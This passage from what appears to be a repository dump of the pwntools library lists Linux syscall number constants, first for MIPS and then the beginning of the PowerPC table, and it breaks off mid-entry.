347))\nSYS_kexec_load = Constant('SYS_kexec_load',(4000 + 311))\nSYS_keyctl = Constant('SYS_keyctl',(4000 + 282))\nSYS_kill = Constant('SYS_kill',(4000 +  37))\nSYS_lchown = Constant('SYS_lchown',(4000 +  16))\nSYS_lgetxattr = Constant('SYS_lgetxattr',(4000 + 228))\nSYS_link = Constant('SYS_link',(4000 +\t9))\nSYS_linkat = Constant('SYS_linkat',(4000 + 296))\nSYS_Linux = Constant('SYS_Linux',4000)\nSYS_listen = Constant('SYS_listen',(4000 + 174))\nSYS_listxattr = Constant('SYS_listxattr',(4000 + 230))\nSYS_llistxattr = Constant('SYS_llistxattr',(4000 + 231))\nSYS__llseek = Constant('SYS__llseek',(4000 + 140))\nSYS_lock = Constant('SYS_lock',(4000 +  53))\nSYS_lookup_dcookie = Constant('SYS_lookup_dcookie',(4000 + 247))\nSYS_lremovexattr = Constant('SYS_lremovexattr',(4000 + 234))\nSYS_lseek = Constant('SYS_lseek',(4000 +  19))\nSYS_lsetxattr = Constant('SYS_lsetxattr',(4000 + 225))\nSYS_lstat = Constant('SYS_lstat',(4000 + 107))\nSYS_lstat64 = Constant('SYS_lstat64',(4000 + 214))\nSYS_madvise = Constant('SYS_madvise',(4000 + 218))\nSYS_mbind = Constant('SYS_mbind',(4000 + 268))\nSYS_membarrier = Constant('SYS_membarrier',(4000 + 358))\nSYS_memfd_create = Constant('SYS_memfd_create',(4000 + 354))\nSYS_migrate_pages = Constant('SYS_migrate_pages',(4000 + 287))\nSYS_mincore = Constant('SYS_mincore',(4000 + 217))\nSYS_mkdir = Constant('SYS_mkdir',(4000 +  39))\nSYS_mkdirat = Constant('SYS_mkdirat',(4000 + 289))\nSYS_mknod = Constant('SYS_mknod',(4000 +  14))\nSYS_mknodat = Constant('SYS_mknodat',(4000 + 290))\nSYS_mlock = Constant('SYS_mlock',(4000 + 154))\nSYS_mlock2 = Constant('SYS_mlock2',(4000 + 359))\nSYS_mlockall = Constant('SYS_mlockall',(4000 + 156))\nSYS_mmap = Constant('SYS_mmap',(4000 +  90))\nSYS_mmap2 = Constant('SYS_mmap2',(4000 + 210))\nSYS_modify_ldt = Constant('SYS_modify_ldt',(4000 + 123))\nSYS_mount = Constant('SYS_mount',(4000 +  21))\nSYS_move_mount = Constant('SYS_move_mount',(4000 + 429))\nSYS_move_pages = Constant('SYS_move_pages',(4000 + 308))\nSYS_mprotect = Constant('SYS_mprotect',(4000 + 125))\nSYS_mpx = Constant('SYS_mpx',(4000 +  56))\nSYS_mq_getsetattr = Constant('SYS_mq_getsetattr',(4000 + 276))\nSYS_mq_notify = Constant('SYS_mq_notify',(4000 + 275))\nSYS_mq_open = Constant('SYS_mq_open',(4000 + 271))\nSYS_mq_timedreceive = Constant('SYS_mq_timedreceive',(4000 + 274))\nSYS_mq_timedreceive_time64 = Constant('SYS_mq_timedreceive_time64',(4000 + 419))\nSYS_mq_timedsend = Constant('SYS_mq_timedsend',(4000 + 273))\nSYS_mq_timedsend_time64 = Constant('SYS_mq_timedsend_time64',(4000 + 418))\nSYS_mq_unlink = Constant('SYS_mq_unlink',(4000 + 272))\nSYS_mremap = Constant('SYS_mremap',(4000 + 167))\nSYS_msgctl = Constant('SYS_msgctl',(4000 + 402))\nSYS_msgget = Constant('SYS_msgget',(4000 + 399))\nSYS_msgrcv = Constant('SYS_msgrcv',(4000 + 401))\nSYS_msgsnd = Constant('SYS_msgsnd',(4000 + 400))\nSYS_msync = Constant('SYS_msync',(4000 + 144))\nSYS_munlock = Constant('SYS_munlock',(4000 + 155))\nSYS_munlockall = Constant('SYS_munlockall',(4000 + 157))\nSYS_munmap = Constant('SYS_munmap',(4000 +  91))\nSYS_name_to_handle_at = Constant('SYS_name_to_handle_at',(4000 + 339))\nSYS_nanosleep = Constant('SYS_nanosleep',(4000 + 166))\nSYS__newselect = Constant('SYS__newselect',(4000 + 142))\nSYS_nfsservctl = Constant('SYS_nfsservctl',(4000 + 189))\nSYS_nice = Constant('SYS_nice',(4000 +  34))\nSYS_open = Constant('SYS_open',(4000 +\t5))\nSYS_openat = Constant('SYS_openat',(4000 + 288))\nSYS_openat2 = Constant('SYS_openat2',(4000 + 437))\nSYS_open_by_handle_at = Constant('SYS_open_by_handle_at',(4000 + 340))\nSYS_open_tree = Constant('SYS_open_tree',(4000 + 428))\nSYS_pause = Constant('SYS_pause',(4000 +  29))\nSYS_perf_event_open = Constant('SYS_perf_event_open',(4000 + 333))\nSYS_personality = Constant('SYS_personality',(4000 + 136))\nSYS_pidfd_getfd = Constant('SYS_pidfd_getfd',(4000 + 438))\nSYS_pidfd_open = Constant('SYS_pidfd_open',(4000 + 434))\nSYS_pidfd_send_signal = Constant('SYS_pidfd_send_signal',(4000 + 424))\nSYS_pipe = Constant('SYS_pipe',(4000 +  42))\nSYS_pipe2 = Constant('SYS_pipe2',(4000 + 328))\nSYS_pivot_root = Constant('SYS_pivot_root',(4000 + 216))\nSYS_pkey_alloc = Constant('SYS_pkey_alloc',(4000 + 364))\nSYS_pkey_free = Constant('SYS_pkey_free',(4000 + 365))\nSYS_pkey_mprotect = Constant('SYS_pkey_mprotect',(4000 + 363))\nSYS_poll = Constant('SYS_poll',(4000 + 188))\nSYS_ppoll = Constant('SYS_ppoll',(4000 + 302))\nSYS_ppoll_time64 = Constant('SYS_ppoll_time64',(4000 + 414))\nSYS_prctl = Constant('SYS_prctl',(4000 + 192))\nSYS_pread64 = Constant('SYS_pread64',(4000 + 200))\nSYS_preadv = Constant('SYS_preadv',(4000 + 330))\nSYS_preadv2 = Constant('SYS_preadv2',(4000 + 361))\nSYS_prlimit64 = Constant('SYS_prlimit64',(4000 + 338))\nSYS_process_vm_readv = Constant('SYS_process_vm_readv',(4000 + 345))\nSYS_process_vm_writev = Constant('SYS_process_vm_writev',(4000 + 346))\nSYS_prof = Constant('SYS_prof',(4000 +  44))\nSYS_profil = Constant('SYS_profil',(4000 +  98))\nSYS_pselect6 = Constant('SYS_pselect6',(4000 + 301))\nSYS_pselect6_time64 = Constant('SYS_pselect6_time64',(4000 + 413))\nSYS_ptrace = Constant('SYS_ptrace',(4000 +  26))\nSYS_putpmsg = Constant('SYS_putpmsg',(4000 + 209))\nSYS_pwrite64 = Constant('SYS_pwrite64',(4000 + 201))\nSYS_pwritev = Constant('SYS_pwritev',(4000 + 331))\nSYS_pwritev2 = Constant('SYS_pwritev2',(4000 + 362))\nSYS_query_module = Constant('SYS_query_module',(4000 + 187))\nSYS_quotactl = Constant('SYS_quotactl',(4000 + 131))\nSYS_read = Constant('SYS_read',(4000 +\t3))\nSYS_readahead = Constant('SYS_readahead',(4000 + 223))\nSYS_readdir = Constant('SYS_readdir',(4000 +  89))\nSYS_readlink = Constant('SYS_readlink',(4000 +  85))\nSYS_readlinkat = Constant('SYS_readlinkat',(4000 + 298))\nSYS_readv = Constant('SYS_readv',(4000 + 145))\nSYS_reboot = Constant('SYS_reboot',(4000 +  88))\nSYS_recv = Constant('SYS_recv',(4000 + 175))\nSYS_recvfrom = Constant('SYS_recvfrom',(4000 + 176))\nSYS_recvmmsg = Constant('SYS_recvmmsg',(4000 + 335))\nSYS_recvmmsg_time64 = Constant('SYS_recvmmsg_time64',(4000 + 417))\nSYS_recvmsg = Constant('SYS_recvmsg',(4000 + 177))\nSYS_remap_file_pages = Constant('SYS_remap_file_pages',(4000 + 251))\nSYS_removexattr = Constant('SYS_removexattr',(4000 + 233))\nSYS_rename = Constant('SYS_rename',(4000 +  38))\nSYS_renameat = Constant('SYS_renameat',(4000 + 295))\nSYS_renameat2 = Constant('SYS_renameat2',(4000 + 351))\nSYS_request_key = Constant('SYS_request_key',(4000 + 281))\nSYS_reserved221 = Constant('SYS_reserved221',(4000 + 221))\nSYS_reserved82 = Constant('SYS_reserved82',(4000 +  82))\nSYS_restart_syscall = Constant('SYS_restart_syscall',(4000 + 253))\nSYS_rmdir = Constant('SYS_rmdir',(4000 +  40))\nSYS_rseq = Constant('SYS_rseq',(4000 + 367))\nSYS_rt_sigaction = Constant('SYS_rt_sigaction',(4000 + 194))\nSYS_rt_sigpending = Constant('SYS_rt_sigpending',(4000 + 196))\nSYS_rt_sigprocmask = Constant('SYS_rt_sigprocmask',(4000 + 195))\nSYS_rt_sigqueueinfo = Constant('SYS_rt_sigqueueinfo',(4000 + 198))\nSYS_rt_sigreturn = Constant('SYS_rt_sigreturn',(4000 + 193))\nSYS_rt_sigsuspend = Constant('SYS_rt_sigsuspend',(4000 + 199))\nSYS_rt_sigtimedwait = Constant('SYS_rt_sigtimedwait',(4000 + 197))\nSYS_rt_sigtimedwait_time64 = Constant('SYS_rt_sigtimedwait_time64',(4000 + 421))\nSYS_rt_tgsigqueueinfo = Constant('SYS_rt_tgsigqueueinfo',(4000 + 332))\nSYS_sched_getaffinity = Constant('SYS_sched_getaffinity',(4000 + 240))\nSYS_sched_getattr = Constant('SYS_sched_getattr',(4000 + 350))\nSYS_sched_getparam = Constant('SYS_sched_getparam',(4000 + 159))\nSYS_sched_get_priority_max = Constant('SYS_sched_get_priority_max',(4000 + 163))\nSYS_sched_get_priority_min = Constant('SYS_sched_get_priority_min',(4000 + 164))\nSYS_sched_getscheduler = Constant('SYS_sched_getscheduler',(4000 + 161))\nSYS_sched_rr_get_interval = Constant('SYS_sched_rr_get_interval',(4000 + 165))\nSYS_sched_rr_get_interval_time64 = Constant('SYS_sched_rr_get_interval_time64',(4000 + 423))\nSYS_sched_setaffinity = Constant('SYS_sched_setaffinity',(4000 + 239))\nSYS_sched_setattr = Constant('SYS_sched_setattr',(4000 + 349))\nSYS_sched_setparam = Constant('SYS_sched_setparam',(4000 + 158))\nSYS_sched_setscheduler = Constant('SYS_sched_setscheduler',(4000 + 160))\nSYS_sched_yield = Constant('SYS_sched_yield',(4000 + 162))\nSYS_seccomp = Constant('SYS_seccomp',(4000 + 352))\nSYS_semctl = Constant('SYS_semctl',(4000 + 394))\nSYS_semget = Constant('SYS_semget',(4000 + 393))\nSYS_semtimedop_time64 = Constant('SYS_semtimedop_time64',(4000 + 420))\nSYS_send = Constant('SYS_send',(4000 + 178))\nSYS_sendfile = Constant('SYS_sendfile',(4000 + 207))\nSYS_sendfile64 = Constant('SYS_sendfile64',(4000 + 237))\nSYS_sendmmsg = Constant('SYS_sendmmsg',(4000 + 343))\nSYS_sendmsg = Constant('SYS_sendmsg',(4000 + 179))\nSYS_sendto = Constant('SYS_sendto',(4000 + 180))\nSYS_setdomainname = Constant('SYS_setdomainname',(4000 + 121))\nSYS_setfsgid = Constant('SYS_setfsgid',(4000 + 139))\nSYS_setfsuid = Constant('SYS_setfsuid',(4000 + 138))\nSYS_setgid = Constant('SYS_setgid',(4000 +  46))\nSYS_setgroups = Constant('SYS_setgroups',(4000 +  81))\nSYS_sethostname = Constant('SYS_sethostname',(4000 +  74))\nSYS_setitimer = Constant('SYS_setitimer',(4000 + 104))\nSYS_set_mempolicy = Constant('SYS_set_mempolicy',(4000 + 270))\nSYS_setns = Constant('SYS_setns',(4000 + 344))\nSYS_setpgid = Constant('SYS_setpgid',(4000 +  57))\nSYS_setpriority = Constant('SYS_setpriority',(4000 +  97))\nSYS_setregid = Constant('SYS_setregid',(4000 +  71))\nSYS_setresgid = Constant('SYS_setresgid',(4000 + 190))\nSYS_setresuid = Constant('SYS_setresuid',(4000 + 185))\nSYS_setreuid = Constant('SYS_setreuid',(4000 +  70))\nSYS_setrlimit = Constant('SYS_setrlimit',(4000 +  75))\nSYS_set_robust_list = Constant('SYS_set_robust_list',(4000 + 309))\nSYS_setsid = Constant('SYS_setsid',(4000 +  66))\nSYS_setsockopt = Constant('SYS_setsockopt',(4000 + 181))\nSYS_set_thread_area = Constant('SYS_set_thread_area',(4000 + 283))\nSYS_set_tid_address = Constant('SYS_set_tid_address',(4000 + 252))\nSYS_settimeofday = Constant('SYS_settimeofday',(4000 +  79))\nSYS_setuid = Constant('SYS_setuid',(4000 +  23))\nSYS_setxattr = Constant('SYS_setxattr',(4000 + 224))\nSYS_sgetmask = Constant('SYS_sgetmask',(4000 +  68))\nSYS_shmat = Constant('SYS_shmat',(4000 + 397))\nSYS_shmctl = Constant('SYS_shmctl',(4000 + 396))\nSYS_shmdt = Constant('SYS_shmdt',(4000 + 398))\nSYS_shmget = Constant('SYS_shmget',(4000 + 395))\nSYS_shutdown = Constant('SYS_shutdown',(4000 + 182))\nSYS_sigaction = Constant('SYS_sigaction',(4000 +  67))\nSYS_sigaltstack = Constant('SYS_sigaltstack',(4000 + 206))\nSYS_signal = Constant('SYS_signal',(4000 +  48))\nSYS_signalfd = Constant('SYS_signalfd',(4000 + 317))\nSYS_signalfd4 = Constant('SYS_signalfd4',(4000 + 324))\nSYS_sigpending = Constant('SYS_sigpending',(4000 +  73))\nSYS_sigprocmask = Constant('SYS_sigprocmask',(4000 + 126))\nSYS_sigreturn = Constant('SYS_sigreturn',(4000 + 119))\nSYS_sigsuspend = Constant('SYS_sigsuspend',(4000 +  72))\nSYS_socket = Constant('SYS_socket',(4000 + 183))\nSYS_socketcall = Constant('SYS_socketcall',(4000 + 102))\nSYS_socketpair = Constant('SYS_socketpair',(4000 + 184))\nSYS_splice = Constant('SYS_splice',(4000 + 304))\nSYS_ssetmask = Constant('SYS_ssetmask',(4000 +  69))\nSYS_stat = Constant('SYS_stat',(4000 + 106))\nSYS_stat64 = Constant('SYS_stat64',(4000 + 213))\nSYS_statfs = Constant('SYS_statfs',(4000 +  99))\nSYS_statfs64 = Constant('SYS_statfs64',(4000 + 255))\nSYS_statx = Constant('SYS_statx',(4000 + 366))\nSYS_stime = Constant('SYS_stime',(4000 +  25))\nSYS_stty = Constant('SYS_stty',(4000 +  31))\nSYS_swapoff = Constant('SYS_swapoff',(4000 + 115))\nSYS_swapon = Constant('SYS_swapon',(4000 +  87))\nSYS_symlink = Constant('SYS_symlink',(4000 +  83))\nSYS_symlinkat = Constant('SYS_symlinkat',(4000 + 297))\nSYS_sync = Constant('SYS_sync',(4000 +  36))\nSYS_sync_file_range = Constant('SYS_sync_file_range',(4000 + 305))\nSYS_syncfs = Constant('SYS_syncfs',(4000 + 342))\nSYS_syscall = Constant('SYS_syscall',(4000 +\t0))\nSYS__sysctl = Constant('SYS__sysctl',(4000 + 153))\nSYS_sysfs = Constant('SYS_sysfs',(4000 + 135))\nSYS_sysinfo = Constant('SYS_sysinfo',(4000 + 116))\nSYS_syslog = Constant('SYS_syslog',(4000 + 103))\nSYS_sysmips = Constant('SYS_sysmips',(4000 + 149))\nSYS_tee = Constant('SYS_tee',(4000 + 306))\nSYS_tgkill = Constant('SYS_tgkill',(4000 + 266))\nSYS_time = Constant('SYS_time',(4000 +  13))\nSYS_timer_create = Constant('SYS_timer_create',(4000 + 257))\nSYS_timer_delete = Constant('SYS_timer_delete',(4000 + 261))\nSYS_timerfd = Constant('SYS_timerfd',(4000 + 318))\nSYS_timerfd_create = Constant('SYS_timerfd_create',(4000 + 321))\nSYS_timerfd_gettime = Constant('SYS_timerfd_gettime',(4000 + 322))\nSYS_timerfd_gettime64 = Constant('SYS_timerfd_gettime64',(4000 + 410))\nSYS_timerfd_settime = Constant('SYS_timerfd_settime',(4000 + 323))\nSYS_timerfd_settime64 = Constant('SYS_timerfd_settime64',(4000 + 411))\nSYS_timer_getoverrun = Constant('SYS_timer_getoverrun',(4000 + 260))\nSYS_timer_gettime = Constant('SYS_timer_gettime',(4000 + 259))\nSYS_timer_gettime64 = Constant('SYS_timer_gettime64',(4000 + 408))\nSYS_timer_settime = Constant('SYS_timer_settime',(4000 + 258))\nSYS_timer_settime64 = Constant('SYS_timer_settime64',(4000 + 409))\nSYS_times = Constant('SYS_times',(4000 +  43))\nSYS_tkill = Constant('SYS_tkill',(4000 + 236))\nSYS_truncate = Constant('SYS_truncate',(4000 +  92))\nSYS_truncate64 = Constant('SYS_truncate64',(4000 + 211))\nSYS_ulimit = Constant('SYS_ulimit',(4000 +  58))\nSYS_umask = Constant('SYS_umask',(4000 +  60))\nSYS_umount = Constant('SYS_umount',(4000 +  22))\nSYS_umount2 = Constant('SYS_umount2',(4000 +  52))\nSYS_uname = Constant('SYS_uname',(4000 + 122))\nSYS_unlink = Constant('SYS_unlink',(4000 +  10))\nSYS_unlinkat = Constant('SYS_unlinkat',(4000 + 294))\nSYS_unshare = Constant('SYS_unshare',(4000 + 303))\nSYS_unused109 = Constant('SYS_unused109',(4000 + 109))\nSYS_unused150 = Constant('SYS_unused150',(4000 + 150))\nSYS_unused18 = Constant('SYS_unused18',(4000 +  18))\nSYS_unused28 = Constant('SYS_unused28',(4000 +  28))\nSYS_unused59 = Constant('SYS_unused59',(4000 +  59))\nSYS_unused84 = Constant('SYS_unused84',(4000 +  84))\nSYS_uselib = Constant('SYS_uselib',(4000 +  86))\nSYS_userfaultfd = Constant('SYS_userfaultfd',(4000 + 357))\nSYS_ustat = Constant('SYS_ustat',(4000 +  62))\nSYS_utime = Constant('SYS_utime',(4000 +  30))\nSYS_utimensat = Constant('SYS_utimensat',(4000 + 316))\nSYS_utimensat_time64 = Constant('SYS_utimensat_time64',(4000 + 412))\nSYS_utimes = Constant('SYS_utimes',(4000 + 267))\nSYS_vhangup = Constant('SYS_vhangup',(4000 + 111))\nSYS_vm86 = Constant('SYS_vm86',(4000 + 113))\nSYS_vmsplice = Constant('SYS_vmsplice',(4000 + 307))\nSYS_vserver = Constant('SYS_vserver',(4000 + 277))\nSYS_wait4 = Constant('SYS_wait4',(4000 + 114))\nSYS_waitid = Constant('SYS_waitid',(4000 + 278))\nSYS_waitpid = Constant('SYS_waitpid',(4000 +\t7))\nSYS_write = Constant('SYS_write',(4000 +\t4))\nSYS_writev = Constant('SYS_writev',(4000 + 146))\n"
  },
  {
    "path": "pwnlib/constants/linux/powerpc.py",
    "content": "from pwnlib.constants.constant import Constant\n__NR_exit = Constant('__NR_exit',1)\n__NR_fork = Constant('__NR_fork',2)\n__NR_read = Constant('__NR_read',3)\n__NR_write = Constant('__NR_write',4)\n__NR_open = Constant('__NR_open',5)\n__NR_close = Constant('__NR_close',6)\n__NR_waitpid = Constant('__NR_waitpid',7)\n__NR_creat = Constant('__NR_creat',8)\n__NR_link = Constant('__NR_link',9)\n__NR_unlink = Constant('__NR_unlink',10)\n__NR_execve = Constant('__NR_execve',11)\n__NR_chdir = Constant('__NR_chdir',12)\n__NR_time = Constant('__NR_time',13)\n__NR_mknod = Constant('__NR_mknod',14)\n__NR_chmod = Constant('__NR_chmod',15)\n__NR_lchown = Constant('__NR_lchown',16)\n__NR_break = Constant('__NR_break',17)\n__NR_oldstat = Constant('__NR_oldstat',18)\n__NR_lseek = Constant('__NR_lseek',19)\n__NR_getpid = Constant('__NR_getpid',20)\n__NR_mount = Constant('__NR_mount',21)\n__NR_umount = Constant('__NR_umount',22)\n__NR_setuid = Constant('__NR_setuid',23)\n__NR_getuid = Constant('__NR_getuid',24)\n__NR_stime = Constant('__NR_stime',25)\n__NR_ptrace = Constant('__NR_ptrace',26)\n__NR_alarm = Constant('__NR_alarm',27)\n__NR_oldfstat = Constant('__NR_oldfstat',28)\n__NR_pause = Constant('__NR_pause',29)\n__NR_utime = Constant('__NR_utime',30)\n__NR_stty = Constant('__NR_stty',31)\n__NR_gtty = Constant('__NR_gtty',32)\n__NR_access = Constant('__NR_access',33)\n__NR_nice = Constant('__NR_nice',34)\n__NR_ftime = Constant('__NR_ftime',35)\n__NR_sync = Constant('__NR_sync',36)\n__NR_kill = Constant('__NR_kill',37)\n__NR_rename = Constant('__NR_rename',38)\n__NR_mkdir = Constant('__NR_mkdir',39)\n__NR_rmdir = Constant('__NR_rmdir',40)\n__NR_dup = Constant('__NR_dup',41)\n__NR_pipe = Constant('__NR_pipe',42)\n__NR_times = Constant('__NR_times',43)\n__NR_prof = Constant('__NR_prof',44)\n__NR_brk = Constant('__NR_brk',45)\n__NR_setgid = Constant('__NR_setgid',46)\n__NR_getgid = Constant('__NR_getgid',47)\n__NR_signal = Constant('__NR_signal',48)\n__NR_geteuid = Constant('__NR_geteuid',49)\n__NR_getegid = Constant('__NR_getegid',50)\n__NR_acct = Constant('__NR_acct',51)\n__NR_umount2 = Constant('__NR_umount2',52)\n__NR_lock = Constant('__NR_lock',53)\n__NR_ioctl = Constant('__NR_ioctl',54)\n__NR_fcntl = Constant('__NR_fcntl',55)\n__NR_mpx = Constant('__NR_mpx',56)\n__NR_setpgid = Constant('__NR_setpgid',57)\n__NR_ulimit = Constant('__NR_ulimit',58)\n__NR_oldolduname = Constant('__NR_oldolduname',59)\n__NR_umask = Constant('__NR_umask',60)\n__NR_chroot = Constant('__NR_chroot',61)\n__NR_ustat = Constant('__NR_ustat',62)\n__NR_dup2 = Constant('__NR_dup2',63)\n__NR_getppid = Constant('__NR_getppid',64)\n__NR_getpgrp = Constant('__NR_getpgrp',65)\n__NR_setsid = Constant('__NR_setsid',66)\n__NR_sigaction = Constant('__NR_sigaction',67)\n__NR_sgetmask = Constant('__NR_sgetmask',68)\n__NR_ssetmask = Constant('__NR_ssetmask',69)\n__NR_setreuid = Constant('__NR_setreuid',70)\n__NR_setregid = Constant('__NR_setregid',71)\n__NR_sigsuspend = Constant('__NR_sigsuspend',72)\n__NR_sigpending = Constant('__NR_sigpending',73)\n__NR_sethostname = Constant('__NR_sethostname',74)\n__NR_setrlimit = Constant('__NR_setrlimit',75)\n__NR_getrlimit = Constant('__NR_getrlimit',76)\n__NR_getrusage = Constant('__NR_getrusage',77)\n__NR_gettimeofday = Constant('__NR_gettimeofday',78)\n__NR_settimeofday = Constant('__NR_settimeofday',79)\n__NR_getgroups = Constant('__NR_getgroups',80)\n__NR_setgroups = Constant('__NR_setgroups',81)\n__NR_select = Constant('__NR_select',82)\n__NR_symlink = Constant('__NR_symlink',83)\n__NR_oldlstat = Constant('__NR_oldlstat',84)\n__NR_readlink = Constant('__NR_readlink',85)\n__NR_uselib = Constant('__NR_uselib',86)\n__NR_swapon = Constant('__NR_swapon',87)\n__NR_reboot = Constant('__NR_reboot',88)\n__NR_readdir = Constant('__NR_readdir',89)\n__NR_mmap = Constant('__NR_mmap',90)\n__NR_munmap = Constant('__NR_munmap',91)\n__NR_truncate = Constant('__NR_truncate',92)\n__NR_ftruncate = Constant('__NR_ftruncate',93)\n__NR_fchmod = Constant('__NR_fchmod',94)\n__NR_fchown = Constant('__NR_fchown',95)\n__NR_getpriority = Constant('__NR_getpriority',96)\n__NR_setpriority = Constant('__NR_setpriority',97)\n__NR_profil = Constant('__NR_profil',98)\n__NR_statfs = Constant('__NR_statfs',99)\n__NR_fstatfs = Constant('__NR_fstatfs',100)\n__NR_ioperm = Constant('__NR_ioperm',101)\n__NR_socketcall = Constant('__NR_socketcall',102)\n__NR_syslog = Constant('__NR_syslog',103)\n__NR_setitimer = Constant('__NR_setitimer',104)\n__NR_getitimer = Constant('__NR_getitimer',105)\n__NR_stat = Constant('__NR_stat',106)\n__NR_lstat = Constant('__NR_lstat',107)\n__NR_fstat = Constant('__NR_fstat',108)\n__NR_olduname = Constant('__NR_olduname',109)\n__NR_iopl = Constant('__NR_iopl',110)\n__NR_vhangup = Constant('__NR_vhangup',111)\n__NR_idle = Constant('__NR_idle',112)\n__NR_vm86 = Constant('__NR_vm86',113)\n__NR_wait4 = Constant('__NR_wait4',114)\n__NR_swapoff = Constant('__NR_swapoff',115)\n__NR_sysinfo = Constant('__NR_sysinfo',116)\n__NR_ipc = Constant('__NR_ipc',117)\n__NR_fsync = Constant('__NR_fsync',118)\n__NR_sigreturn = Constant('__NR_sigreturn',119)\n__NR_clone = Constant('__NR_clone',120)\n__NR_setdomainname = Constant('__NR_setdomainname',121)\n__NR_uname = Constant('__NR_uname',122)\n__NR_modify_ldt = Constant('__NR_modify_ldt',123)\n__NR_adjtimex = Constant('__NR_adjtimex',124)\n__NR_mprotect = Constant('__NR_mprotect',125)\n__NR_sigprocmask = Constant('__NR_sigprocmask',126)\n__NR_create_module = Constant('__NR_create_module',127)\n__NR_init_module = Constant('__NR_init_module',128)\n__NR_delete_module = Constant('__NR_delete_module',129)\n__NR_get_kernel_syms = Constant('__NR_get_kernel_syms',130)\n__NR_quotactl = Constant('__NR_quotactl',131)\n__NR_getpgid = Constant('__NR_getpgid',132)\n__NR_fchdir = Constant('__NR_fchdir',133)\n__NR_bdflush = Constant('__NR_bdflush',134)\n__NR_sysfs = Constant('__NR_sysfs',135)\n__NR_personality = Constant('__NR_personality',136)\n__NR_afs_syscall = Constant('__NR_afs_syscall',137)\n__NR_setfsuid = Constant('__NR_setfsuid',138)\n__NR_setfsgid = Constant('__NR_setfsgid',139)\n__NR__llseek = Constant('__NR__llseek',140)\n__NR_getdents = Constant('__NR_getdents',141)\n__NR__newselect = Constant('__NR__newselect',142)\n__NR_flock = Constant('__NR_flock',143)\n__NR_msync = Constant('__NR_msync',144)\n__NR_readv = Constant('__NR_readv',145)\n__NR_writev = Constant('__NR_writev',146)\n__NR_getsid = Constant('__NR_getsid',147)\n__NR_fdatasync = Constant('__NR_fdatasync',148)\n__NR__sysctl = Constant('__NR__sysctl',149)\n__NR_mlock = Constant('__NR_mlock',150)\n__NR_munlock = Constant('__NR_munlock',151)\n__NR_mlockall = Constant('__NR_mlockall',152)\n__NR_munlockall = Constant('__NR_munlockall',153)\n__NR_sched_setparam = Constant('__NR_sched_setparam',154)\n__NR_sched_getparam = Constant('__NR_sched_getparam',155)\n__NR_sched_setscheduler = Constant('__NR_sched_setscheduler',156)\n__NR_sched_getscheduler = Constant('__NR_sched_getscheduler',157)\n__NR_sched_yield = Constant('__NR_sched_yield',158)\n__NR_sched_get_priority_max = Constant('__NR_sched_get_priority_max',159)\n__NR_sched_get_priority_min = Constant('__NR_sched_get_priority_min',160)\n__NR_sched_rr_get_interval = Constant('__NR_sched_rr_get_interval',161)\n__NR_nanosleep = Constant('__NR_nanosleep',162)\n__NR_mremap = Constant('__NR_mremap',163)\n__NR_setresuid = Constant('__NR_setresuid',164)\n__NR_getresuid = Constant('__NR_getresuid',165)\n__NR_query_module = Constant('__NR_query_module',166)\n__NR_poll = Constant('__NR_poll',167)\n__NR_nfsservctl = Constant('__NR_nfsservctl',168)\n__NR_setresgid = Constant('__NR_setresgid',169)\n__NR_getresgid = Constant('__NR_getresgid',170)\n__NR_prctl = Constant('__NR_prctl',171)\n__NR_rt_sigreturn = Constant('__NR_rt_sigreturn',172)\n__NR_rt_sigaction = Constant('__NR_rt_sigaction',173)\n__NR_rt_sigprocmask = Constant('__NR_rt_sigprocmask',174)\n__NR_rt_sigpending = Constant('__NR_rt_sigpending',175)\n__NR_rt_sigtimedwait = Constant('__NR_rt_sigtimedwait',176)\n__NR_rt_sigqueueinfo = Constant('__NR_rt_sigqueueinfo',177)\n__NR_rt_sigsuspend = Constant('__NR_rt_sigsuspend',178)\n__NR_pread = Constant('__NR_pread',179)\n__NR_pwrite = Constant('__NR_pwrite',180)\n__NR_chown = Constant('__NR_chown',181)\n__NR_getcwd = Constant('__NR_getcwd',182)\n__NR_capget = Constant('__NR_capget',183)\n__NR_capset = Constant('__NR_capset',184)\n__NR_sigaltstack = Constant('__NR_sigaltstack',185)\n__NR_sendfile = Constant('__NR_sendfile',186)\n__NR_getpmsg = Constant('__NR_getpmsg',187)\n__NR_putpmsg = Constant('__NR_putpmsg',188)\n__NR_vfork = Constant('__NR_vfork',189)\n__NR_ugetrlimit = Constant('__NR_ugetrlimit',190)\n__NR_readahead = Constant('__NR_readahead',191)\n__NR_mmap2 = Constant('__NR_mmap2',192)\n__NR_truncate64 = Constant('__NR_truncate64',193)\n__NR_ftruncate64 = Constant('__NR_ftruncate64',194)\n__NR_stat64 = Constant('__NR_stat64',195)\n__NR_lstat64 = Constant('__NR_lstat64',196)\n__NR_fstat64 = Constant('__NR_fstat64',197)\n__NR_pciconfig_read = Constant('__NR_pciconfig_read',198)\n__NR_pciconfig_write = Constant('__NR_pciconfig_write',199)\n__NR_pciconfig_iobase = Constant('__NR_pciconfig_iobase',200)\n__NR_multiplexer = Constant('__NR_multiplexer',201)\n__NR_getdents64 = Constant('__NR_getdents64',202)\n__NR_pivot_root = Constant('__NR_pivot_root',203)\n__NR_fcntl64 = Constant('__NR_fcntl64',204)\n__NR_madvise = Constant('__NR_madvise',205)\n__NR_mincore = Constant('__NR_mincore',206)\n__NR_gettid = Constant('__NR_gettid',207)\n__NR_tkill = Constant('__NR_tkill',208)\n__NR_setxattr = Constant('__NR_setxattr',209)\n__NR_lsetxattr = Constant('__NR_lsetxattr',210)\n__NR_fsetxattr = Constant('__NR_fsetxattr',211)\n__NR_getxattr = Constant('__NR_getxattr',212)\n__NR_lgetxattr = Constant('__NR_lgetxattr',213)\n__NR_fgetxattr = Constant('__NR_fgetxattr',214)\n__NR_listxattr = Constant('__NR_listxattr',215)\n__NR_llistxattr = Constant('__NR_llistxattr',216)\n__NR_flistxattr = Constant('__NR_flistxattr',217)\n__NR_removexattr = Constant('__NR_removexattr',218)\n__NR_lremovexattr = Constant('__NR_lremovexattr',219)\n__NR_fremovexattr = Constant('__NR_fremovexattr',220)\n__NR_futex = Constant('__NR_futex',221)\n__NR_sched_setaffinity = Constant('__NR_sched_setaffinity',222)\n__NR_sched_getaffinity = Constant('__NR_sched_getaffinity',223)\n__NR_tuxcall = Constant('__NR_tuxcall',225)\n__NR_sendfile64 = Constant('__NR_sendfile64',226)\n__NR_io_setup = Constant('__NR_io_setup',227)\n__NR_io_destroy = Constant('__NR_io_destroy',228)\n__NR_io_getevents = Constant('__NR_io_getevents',229)\n__NR_io_submit = Constant('__NR_io_submit',230)\n__NR_io_cancel = Constant('__NR_io_cancel',231)\n__NR_set_tid_address = Constant('__NR_set_tid_address',232)\n__NR_fadvise64 = 